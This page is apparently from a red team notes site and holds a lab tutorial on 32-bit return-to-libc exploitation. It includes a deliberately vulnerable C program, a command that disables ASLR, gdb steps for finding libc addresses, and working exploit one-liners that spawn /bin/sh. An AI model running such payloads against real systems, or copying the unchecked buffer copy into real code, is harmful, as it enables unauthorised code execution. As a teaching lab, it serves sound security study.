Red Team Notes
  • What is ired.team notes?
  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
      • Kerberos Constrained Delegation
      • Kerberos Resource-based Constrained Delegation: Computer Object Takeover
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
      • Active Directory Lab with Hyper-V and PowerShell
      • ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate
      • From Misconfigured Certificate Template to Domain Admin
      • Shadow Credentials
      • Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
      • SMTP Forwarders / Relays
      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
        • Bypassing Parent Child / Ancestry Detections
        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • regsvr32
      • MSHTA
      • Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • CMSTP
      • InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode Bypass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
      • Shellcode Reflective DLL Injection
      • Process Doppelganging
      • Loading and Executing Shellcode From PE Resources
      • Process Hollowing and Portable Executable Relocations
      • APC Queue Code Injection
      • Early Bird APC Queue Code Injection
      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
      • Shellcode Execution through Fibers
      • Shellcode Execution via CreateThreadpoolWait
      • Local Shellcode Execution without Windows APIs
      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
      • Writing Custom Shellcode Encoders and Decoders
      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
      • AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      • Module Stomping for Shellcode Injection
      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
      • Binary Exploitation
        • 32-bit Stack-based Buffer Overflow
        • 64-bit Stack-based Buffer Overflow
        • Return-to-libc / ret2libc
        • ROP Chaining: Return Oriented Programming
        • SEH Based Buffer Overflow
        • Format String Bug
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
      • Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • Timestomping
      • Alternate Data Streams
      • Hidden Files
      • Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump Global Address List (GAL) from OWA
      • Application Window Discovery
      • Account Discovery & Enumeration
      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • DLL Hijacking
      • WebShells
      • Image File Execution Options Injection
      • Unquoted Service Paths
      • Pass The Hash: Privilege Escalation with Invoke-WMIExec
      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
      • Dumping SAM via esentutl.exe
      • Dumping LSA Secrets
      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • Credentials in Registry
      • Password Filter
      • Forcing WDigest to Store Credentials in Plaintext
      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • WinRM for Lateral Movement
      • WinRS for Lateral Movement
      • WMI for Lateral Movement
      • RDP Hijacking for Lateral Movement with tscon
      • Shared Webroot
      • Lateral Movement via DCOM
      • WMI + MSI Lateral Movement
      • Lateral Movement via Service Configuration Manager
      • Lateral Movement via SMB Relaying
      • WMI + NewScheduledTaskAction Lateral Movement
      • WMI + PowerShell Desired State Configuration Lateral Movement
      • Simple TCP Relaying with NetCat
      • Empire Shells with NetNLTMv2 Relaying
      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
      • SSH Tunnelling / Port Forwarding
      • Lateral Movement via WMI Event Subscription
      • Lateral Movement via DLL Hijacking
      • Lateral Movement over headless RDP with SharpRDP
      • Man-in-the-Browser via Chrome Extension
      • ShadowMove: Lateral Movement by Duplicating Existing Sockets
    • Persistence
      • DLL Proxying for Persistence
      • Schtask
      • Service Execution
      • Sticky Keys
      • Create Account
      • AddMonitor()
      • NetSh Helper DLL
      • Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • Screensaver Hijack
      • Application Shimming
      • BITS Jobs
      • COM Hijacking
      • SIP & Trust Provider Hijacking
      • Hijacking Time Providers
      • Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
      • Loading Windows Kernel Driver for Debugging
      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • Windows x64 Calling Convention: Stack Frame
      • Linux x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
      • Writing a Custom Bootloader
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
Powered by GitBook
On this page
  • Overview
  • Diagram
  • Stack Layout
  • Vulnerable Program
  • Finding system()
  • Finding exit()
  • Finding /bin/sh
  • Inside libc
  • Inside SHELL Environment Variable
  • Find String in gdb-peda
  • Exploiting
  • References
  1. offensive security
  2. Code & Process Injection
  3. Binary Exploitation

Return-to-libc / ret2libc

Previous64-bit Stack-based Buffer OverflowNextROP Chaining: Return Oriented Programming

Last updated 3 years ago

The purpose of this lab is to familiarize with a ret-to-libc technique, which is used to exploit buffer overflow vulnerabilities on systems where stack memory is protected with no execute (NX) bit.

Overview

  • The ret-to-libc technique is applicable to *nix systems.

  • This lab is only concerned with 32-bit architecture.

In a standard stack-based buffer overflow, an attacker writes their shellcode into the vulnerable program's stack and executes it on the stack.

However, if the vulnerable program's stack is protected (NX bit is set, which is the case on newer systems), attackers can no longer execute their shellcode from the vulnerable program's stack.

To fight the NX protection, a return-to-libc technique is used, which enables attackers to bypass the NX bit protection and subvert the vulnerable program's execution flow by re-using existing executable code from the standard C library shared object (/lib/i386-linux-gnu/libc-*.so), that is already loaded and mapped into the vulnerable program's virtual memory space, similarly like ntdll.dll is loaded to all Windows programs.

At a high level, ret-to-libc technique is similar to the regular stack overflow attack, but with one key difference - instead of overwritting the return address of the vulnerable function with address of the shellcode when exploiting a regular stack-based overflow with no stack protection, in ret-to-libc case, the return address is overwritten with a memory address that points to the function system(const char *command) that lives in the libc library, so that when the overflowed function returns, the vulnerable program is forced to jump to the system() function and execute the shell command that was passed to the system() function as the *command argument as part of the supplied shellcode.

In our case, we will want the vulnerable program to spawn the /bin/sh shell, so we will make the vulnerable program call system("/bin/sh").

Diagram

Below is a simplified diagram that illustrates stack memory layout during the ret-to-libc exploitation process, that we will build in this lab:

Points to note in the overflowed buffer:

  1. EIP is overwritten with address of the system() function located inside libc;

  2. Right after the address of system(), there's address of the function exit(), so that once system() returns, the vulnerable program jumps the exit(), which also lives in the libc, so that the vulnerable program can exit gracefully;

  3. Right after the address of exit(), there's a pointer to a memory location that contains the string /bin/sh, which is the argument we want to pass to the system() function.

Stack Layout

From the above diagram (after overflow), if you are wondering why, when looking from top to bottom, the stack's contents are:

  1. Address of the /bin/sh string

  2. Address of the exit() function

  3. Address of the system() function

...we need to remember what happens with the stack when a function is called:

  1. Function arguments are pushed on to the stack in reverse order, meaning the left-most argument will be pushed last;

  2. Return address, telling the program where to return after the function completes, is pushed;

  3. EBP is pushed;

  4. Local variables are pushed.

With the above in mind, it should now be clear why the overflowed stack looks that way - essentially, we manually built an arbitrary/half-backed stack frame for the system() function call:

  • we pushed an address that contains the string /bin/sh - the argument for our system() call;

  • we also pushed a return address, which the vulnerable program will jump to once the system() call completes, which in our case is the address of the function exit().

Vulnerable Program

The below is our vulnerable program for this lab, which takes user input as a commandline argument and copies it to a memory location inside the program, without checking if the user supplied buffer is bigger than the allocated memory:

vulnerable.c
#include <stdio.h>

int main(int argc, char *argv[])
{
    char buf[8];
    memcpy(buf, argv[1], strlen(argv[1]));
    printf(buf);
}

Let's compile the above code:

cc vulnerable.c -mpreferred-stack-boundary=2 -o vulnerable

Also, let's temporarily switch off the Address Space Layout Randomization (ASLR) to ensure it does not get in the way of this lab:

echo 0 > /proc/sys/kernel/randomize_va_space

Let's now execute the vulnerable program via gdb, set a breakpoint on the function main and continue the execution:

gdb vulnerable anything
b main
r

Additionally, we can confirm our binary has various protections enabled for it with the key one for this lab being the NX protection:

checksec

Finding system()

In gdb, by doing:

p system

...we can see, that the function system resides at memory location 0xb7e13870 inside the vulnerable program in the libc library:

Finding exit()

The same way, we can see that exit() resides at 0xb7e06c30:

Finding /bin/sh

Inside libc

We want to hijack the vulnerable program and force it to call system("/bin/sh") and spawn the /bin/sh for us.

We need to remember that system() function is declared as system(const char *command), meaning if we want to invoke it, we need to pass it a memory address that contains the string that we want it to execute (/bin/sh). We need to find a memory location inside the vulnerable program that contains the string /bin/sh. It's known that the libc contains that string - let's see how we can find it.

We can inspect the memory layout of the vulnerable program and find the start address of the libc (what memory address inside the vulnerable program it's is loaded to):

gdb-peda$ info proc map

Below shows that /lib/i386-linux-gnu/libc-2.27.so inside the vulnerable program starts at 0xb7dd6000:

We can now use the strings utility to find the offset of string /bin/sh relative to the start of the libc binary:

strings -a -t x /lib/i386-linux-gnu/libc-2.27.so | grep "/bin/sh"

We can see that the string is found at offset 0x17c968:

...which means, that in our vulnerable program, at address 0xb7f52968 (0xb7dd6000 + 17c968), we should see the string /bin/sh, so let's test it:

x/s 0xb7f52968

Below shows that /bin/sh indeed lives at 0xb7f52968:

Inside SHELL Environment Variable

Additionally, we can find the location of the environment variable SHELL=/bin/sh on the vulnerable program's stack:

x/s 500 $esp

In the above screenshot, we can see that at 0xbffffeea we have the string SHELL=/bin/sh. Since we only need the address of the string /bin/sh (without the SHELL= bit in front, which is 6 characters long), we know that 0xbffffeea + 6 will give us the exact location we are looking for, which is 0xBFFFFEF0:

Find String in gdb-peda

Worth remembering, that we can look for the required string using gdb-peda like so:

find "/bin/sh"

Exploiting

Assuming we need to send 16 bytes of garbage to the vulnerable program before we can overwrite its return address, and make it jump to system() (located at 0xb7e13870, expressed as \x70\x38\xe1\xb7 due to little-endianness), which will execute /bin/sh that's present in 0xb7f52968 (expressed as \x68\x29\xf5\xb7), the payload in a general form looks like this:

payload = A*16 + address of system() + return address for system() + address of "/bin/sh"

...and when variables are filled in with correct memory addresses, the final exploit looks like this:

r `python -c 'print("A"*16 + "\x70\x38\xe1\xb7" + "\x30\x6c\xe0\xb7" + "\x68\x29\xf5\xb7")'`

Once executed, we can observe how /bin/sh gets executed:

Let's see if the exploit works outside gdb:

Addresses of system(), exit() and /bin/sh used in the below payload are different to those captured in earlier screenshots due to a rebooted VM.

./vulnerable `python -c 'print("A"*16 + "\x40\xe0\xe0\xb7" + "\x90\xb3\xf0\xb7" + "\x3c\x53\xf5\xb7")'`

References

https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf
https://css.csail.mit.edu/6.858/2019/readings/return-to-libc.pdf
Stack memory layout of the 32-bit vulnerable program when using ret-to-libc technique
Vulnerable program compiled
Temporarily disable ASLR
Spawn vulnerable program with gdb, getting our hands dirty
Protections overview for the vulnerable program
system() is located at 0xb7e13870
exit() is located at 0xb7e06c30
Inside the vulenerable program, libc is loaded at 0xb7dd6000
/bin/sh is at offset 0x17c968 from the start of libc
/bin/sh inside vulnerable program is located at 0xb7f52968
/bin/sh as an environment variable inside the vulnerable program at 0xBFFFFEF0
/bin/sh can be seen in multiple locations in the vulnerable program
Vulnerable program spawns a /bin/sh shell
Once the vulnerable program is exploited, it spawns a /bin/sh